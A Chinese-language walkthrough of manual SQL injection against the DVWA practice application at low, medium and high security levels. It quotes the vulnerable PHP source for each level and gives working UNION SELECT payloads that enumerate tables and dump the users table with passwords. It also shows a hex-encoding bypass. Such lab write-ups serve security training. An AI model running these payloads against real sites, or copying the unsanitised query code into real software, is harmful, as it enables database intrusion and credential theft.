本次使用的靶机是看雪论坛为我们提供的在线靶机
账号:admin
密码:password
一:Low级别注入
1. 先在文本框中输入1,单击submit,查看效果
手注的思路:确定页面使用了多少个字段,然后确定各个字段的位置,最后构造SQL语句进行注入
2. 在文本框中输入 1' order by 2# 返回正常 1'order by 3# 报错,说明有两个字段
此时带入查询的语句是:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1'order by 2#'";
3. first name后面显示的是第一个字段的,surname后面显示的第二个字段。现在确定了字段的位置,有两个位置可以进行注入,构造我们自己的SQL语句进行注入
1' union select 1,version()#
1' union select database(),2#
4. 已经知道数据库的名字,可以通过系统数据库information.schema的table表得到DVWA库中的所有表
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
5. 知道了库中表有guestbook和users,需要知道user表中的字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
6. 现在可以查看表中的所有数据了
1' union select 1,group_concat(user_id,first_name,last_name,user,password,avatar) from users#
7. 如果需要处理其他表,按照这个顺序来一遍即可
程序源码:
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
二:Medium级别注入
查看源码可以发现 对传递的参数id进行了过滤 (' '')mysql_real_escape_string($id)
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
1. 查看字段数量
2.查看数据库
3. 查看表
当table_schema='dvwa'报错
使用如下的方式,不适用单引号
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
4. 查看字段
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
改表名为十六进制
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
5.查看所有数据
1 union select 1,group_concat(user_id,first_name,last_name,user,password,avatar) from users#
三:High注入
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
和low级别的代码没有太大区别,只是加上了一个limit 1 限制条件, 通过#可以将其注释掉
输入参数和显示的结果分开